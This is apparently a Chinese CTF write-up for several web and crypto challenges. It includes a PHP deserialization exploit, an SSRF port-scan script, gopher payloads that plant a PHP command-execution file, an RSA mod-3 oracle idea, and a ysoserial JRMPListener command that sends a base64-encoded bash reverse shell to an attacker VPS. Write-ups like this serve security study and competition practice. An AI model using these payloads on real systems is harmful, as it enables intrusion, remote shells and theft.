前言
0x01 half_infiltration 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file(__FILE__ ); $flag=file_get_contents('ssrf.php' ); class Pass { function read () { ob_start(); global $result; print $result; } } class User { public $age,$sex,$num; function __destruct () { $student = $this ->age; $boy = $this ->sex; $a = $this ->num; $student->$boy(); if (!(is_string($a)) ||!(is_string($boy)) || !(is_object($student))) { ob_end_clean(); exit (); } global $$a; $result=$GLOBALS['flag' ]; ob_end_clean(); } } if (isset ($_GET['x' ])) { unserialize($_GET['x' ])->get_it(); }
第一层是一道反序列化题目,添加了限制,首先调用了$student->$boy();
,然后再将flag赋给全局变量$result
,如果在赋flag值之前,就调用Pass类的read()方法是读不到flag的,所以需要首先进行一遍完整的User
的__destruct()
函数,将flag赋给$result
,然后再执行一遍__destruct()
,继续调用$student->$boy();
来触发Pass类的read()函数,读取flag;接下来再读flag时发现在ob_start()
和ob_end_clean()
之间的print
是输出不到屏幕的,这里有两种方法可以绕过:
在ob_end_clean()
执行前寻找一条触发到执行到exit()的链。
在ob_end_clean()
前报错,直接停止执行。
本题选择第二种,在print $result
与ob_end_clean()
之间只有只有is_string()和global 两条语句,通过测试发现
1 2 3 4 5 6 7 8 9 10 11 <?php class va { public function a () { $a = "this" ; global $$a; } } $b = new va(); $b->a(); ?>
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class Pass { function read () { ob_start(); global $result; print $result; } } class User { public $age, $sex, $num; function __destruct () { $student = $this ->age; $boy = $this ->sex; $a = $this ->num; $student->$boy(); if (!(is_string($a)) || !(is_string($boy)) || !(is_object($student))) { ob_end_clean(); exit (); } global $$a; $result = $GLOBALS['flag' ]; ob_end_clean(); } } $a = new Pass(); $b2 = new User(); $b2->sex = "read" ; $b2->num = "this" ; $b2->age = $a; $d = new Exception ; $b = new User(); $b->sex = "getCode" ; $b->num = "result" ; $b->aa = $b2; $b->age = $d; echo urlencode(serialize($b));
得到ssrf.php
image-20200824111939809
第二层利用ssrf.php探测内网,
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport threadingurl = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://172.26.98.147:" for i in range(35000 ,50000 ): url = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://172.26.98.147:" url+=str(i) re=requests.get(url) print url if "HTTP" in re.text: print url break
得到在40000端口开了服务,
是一个评论框,可以传file和content两个参数,在http://127.0.0.1:40000/uploads/可以看到文件夹,文件夹的名对应phpsessid值,利用gopher协议ssrf可以在uploads目录写文件。
比赛时直接用
1 gopher://172.26.98.147:40000/_POST%20/%20HTTP/index.php1.1%250d%250aHost:127.0.0.1:40000%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aCookie:%20PHPSESSID=o151hrta2onlamvpvsq9695785;%250d%250aContent-Length:%2083%250d%250a%250d%250afile=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3Da.php%26content=PD89cGhwaW5mbygpOyAg
就可以得到phpinfo,但是后来复现时,就不可以了,感觉题目被改了。23333
之后修改content,绕过过滤得到flag。
1 gopher://172.26.98.147:40000/_POST%20/%20HTTP/index.php1.1%250d%250aHost:127.0.0.1:40000%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aCookie:%20PHPSESSID=o151hrta2onlamvpvsq9695785;%250d%250aContent-Length:%2087%250d%250a%250d%250afile=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3Db.php%26content=MjM8Pz1gY2F0IC9mbGFnYDsg
content-length:长度直接本地开一个一摸一样的服务,看下长度即可,
成功写入文件,得到flag,
尝试读取源码:
1 23<?=`cat ../../in*ex.***`;
下面是做题时读取的服务器文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start(); include 'del.php' ;$upload_dir = sprintf("./uploads/%s/" , session_id()); $id = session_id(); @mkdir($upload_dir, 0755 , true ); chdir($upload_dir); ini_set('open_basedir' , '.' ); foreach (glob(getcwd() . '/*' ) as $file) { if (is_file($file)) { unlink($file); } else { if (time() - filemtime($file) >= 5 ) { Delete($file); } } } $data = "" ; $filename = "" ; if (isset ($_POST['file' ])) { $filename = $_POST['file' ]; if (stripos($filename, 'BE' ) === false && stripos($filename, 'write' ) === false && stripos($filename, 'zlib' ) === false && stripos($filename, 'sto' ) === false ) { if (isset ($_POST['content' ])) { $data = $_POST['content' ]; if (stripos($data, 'ph' ) === false && stripos($data, 'Pz4=' ) === false && stripos($data, '<?' ) === false && stripos($data, 'PD9wa' ) === false && stripos($data, 'script' ) === false && stripos($data, '=' ) === false ) { file_put_contents($filename, $data); } } } else { die ("error" ); } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function Delete ($path) { if (is_dir($path) === true ) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { if (in_array($file->getBasename(), array ('.' , '..' )) !== true ) { if ($file->isDir() === true ) { rmdir($file->getPathName()); } else if (($file->isFile() === true ) || ($file->isLink() === true )) { unlink($file->getPathname()); } } } return rmdir($path); } else if ((is_file($path) === true ) || (is_link($path) === true )) { return unlink($path); } return false ; }
下面是复现时读的服务器文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php session_start(); include ('del.php' );$upload_dir = sprintf("./uploads/%s/" , session_id()); $id=session_id(); @mkdir($upload_dir, 0755 , true ); chdir($upload_dir); ini_set('open_basedir' , '.' ); foreach (glob(getcwd().'/*' ) as $file) { if (is_file($file)) { unlink($file); } else { if (time() - filemtime($file) >= 200 ) { Delete($file); } } } $data = "" ; $filename = "" ; if (isset ($_POST['file' ]) ) { $filename = $_POST['file' ]; if (stripos($filename, '..' ) === false &&stripos($filename, 'BE' ) === false &&stripos($filename, 'write' ) === false &&stripos($filename, 'zlib' ) === false &&stripos($filename, 'sto' ) === false ){ if (isset ($_POST['content' ])) { $data = $_POST['content' ]; if (stripos($data, '`' ) === false &&stripos($data, 'll' ) === false &&stripos($data, 'PD8' ) === false &&stripos($data, '-' ) === false &&stripos($data, 'ww' ) === false && stripos($data, '6' ) === false &&stripos($data, '7' ) === false &&stripos($data, 'rm' ) === false && stripos($data, 'mr' ) === false &&stripos($data, 'sy' ) === false &&stripos($data, 'ys' ) === false &&stripos($data, 'ph' ) === false &&stripos($data, 'Pz4=' ) === false && stripos($data, '<?' ) === false && stripos($data, 'PD9wa' ) === false && stripos($data, 'script' ) === false &&stripos($data, '=' ) === false ) { file_put_contents($filename, $data); } } } else { die ("error" ); } } ?>
对比发现在file处加了..
的过滤,在content中加了
1 2 3 4 5 6 7 8 9 10 11 stripos($data, '`' ) === false && stripos($data, 'll' ) === false && stripos($data, 'PD8' ) === false && stripos($data, '-' ) === false && stripos($data, 'ww' ) === false && stripos($data, '6' ) === false && stripos($data, '7' ) === false && stripos($data, 'rm' ) === false && stripos($data, 'mr' ) === false && stripos($data, 'sy' ) === false && stripos($data, 'ys' ) === false
上面这些过滤。
0x02 dice2cry 题目泄露了源码,abi.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php session_start(); header("Content-type:text/html;charset=utf-8" ); $data = json_decode($json_string, true ); $rand_number = isset ($_POST['this_is.able' ]) ? $_POST['this_is.able' ] : mt_rand(); $n = gmp_init($data['n' ]); $d = gmp_init($data['d' ]); $c = gmp_init($rand_number); $m = gmp_powm($c,$d,$n); $v3 = gmp_init('3' ); $r = gmp_mod($m,$v3); $result=(int)gmp_strval($r); $dice = array ("num" =>$result); $json_obj = json_encode($dice); echo $json_obj; ?>
这里涉及到一个trick,因为php变量的原因,如果POST或GET传的参数包含'.' '[' '+' ' '
会转换成_
,
如何滥用PHP字符串解析函数绕过IDS、IPS及WAF
用this[is.able
向服务器传值,服务器就可以将值赋给$_POST['this_is.able']
,然后接下来就是密码学了,可以在cookie中发现给了N 、d和加密的flag,我们可以向服务器发送任意密文,服务器返回对应密文解密的结果模3的值,之前的RSA LSB ORACLE攻击是利用模2来二分最终得到m的值,本题用的是模3,
0x03 easy_java 题目给了源码,
高校战“疫”网络安全分享赛部分赛题复现
放到idea可以运行,本地采用jdk8u102版本可以成功,但使用jdk8u261不能成功。
由于题目利用黑名单过滤了很多,所以尝试利用JRMPClient绕过过滤,参考高校战役的baby_java的JRMPListener解法,利用JRMPListener。
过程如下:
在客户端执行
1 2 java -jar ysoserial-master-30099844c6-1.jar JRMPClient 129.204.207.xxx:8888 > jrmpclient.cer windows系统这条命令只能在cmd下运行,在powershell运行会乱码,原因未知
在vps上执行
1 java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkxxxxxxxxMTQvOTxxxxYxCg==}|{base64,-d}|{bash,-i}"
同时在vps上监听50000端口(与上面的payload相对应)
然后访问/jdk_der
路由
1 2 3 4 import requestspayload = open("aa" ,"rb" ).read() proxies = {"http" :"127.0.0.1:8080" } requests.post("http://39.101.166.142:8080/jdk_der" ,data=payload)
也可以用burp发包
这时就可以反弹shell了。
1 flag{056eaalfe7scd222qwe2df36845b8ed170c67e23e3}
0x04 红方辅助 用wireshark打开
复制到a.txt。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import structf = open("a.txt" , "r" ) f = f.readlines() for i in range(0 ,2075 ,5 ): funcs = { "0" : lambda x, y : x + y, "1" : lambda x, y : x - y, "2" : lambda x, y : x ^ y } offset = { "0" : 0xefffff , "1" : 0xefffff , "2" : 0xffffff , } btime = str(f[i+1 ]) fn = chr(int(f[i+3 ][16 :18 ],16 )) salt = int(f[i+3 ][18 :20 ],16 ) ci = f[i+3 ][20 :] t = struct.unpack("<i" , bytes().fromhex(btime))[0 ] boffset = offset[fn] t -= boffset t = struct.pack("<i" , t) k =0 m = "" for j in range(0 ,244 ,2 ): c = ci[j:j+2 ] j = j+2 if funcs[fn](int(c,16 ) , salt) % 256 ^ t[k] == 10 : break m += chr(funcs[fn](int(c,16 ) , salt) % 256 ^ t[k]) k = (k+1 )%4 print(m)